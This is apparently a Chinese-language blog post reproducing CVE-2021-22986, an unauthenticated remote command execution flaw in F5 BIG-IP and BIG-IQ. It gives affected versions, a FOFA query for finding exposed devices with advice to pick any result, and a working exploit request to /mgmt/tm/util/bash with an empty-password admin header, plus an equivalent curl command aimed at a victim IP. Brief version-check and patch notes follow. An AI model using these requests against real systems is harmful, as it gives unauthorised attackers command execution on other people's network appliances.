(CVE-2021-22986) BIG-IP 未授权远程代码执行漏洞复现

漏洞描述

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
CVE-2021-22986 BIG-IP/BIG-IQ iControl REST 未授权远程代码执行漏洞 中，未经身份验证的攻击者可通过iControl REST接口，构造恶意请求，执行任意系统命令。

 

影响版本

F5 BIG-IP 16.0.0-16.0.1
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0

 

漏洞利用

使用fofa，fofa语法如下
title="BIG-IP&reg ;- Redirect"

随便点个进入

POC如下:

POST /mgmt/tm/util/bash HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)
Accept: */*
Connection: close
Authorization: Basic YWRtaW46
X-F5-Auth-Token: 
Content-Length: 46
Content-Type: application/json
 
{"command": "run", "utilCmdArgs": "-c id"}

用burp发送请求结果如下:

 

或者直接用curl发送post请求:

curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

结果如下:

 

Poc利用成功之后都会在目标BIG_IP页面显示出命令执行结果,比如执行”whoami”:

版本检测

可通过在TMOS shell（tmsh）中输入以下命令，查看当前使用的版本：

Show sys version

或者登录Web管理界面查看当前BIG-IP的版本。

 

漏洞修复

目前F5官方已在最新版本中修复了以上漏洞，官方下载链接：
BIG-IP：https://support.f5.com/csp/article/K9502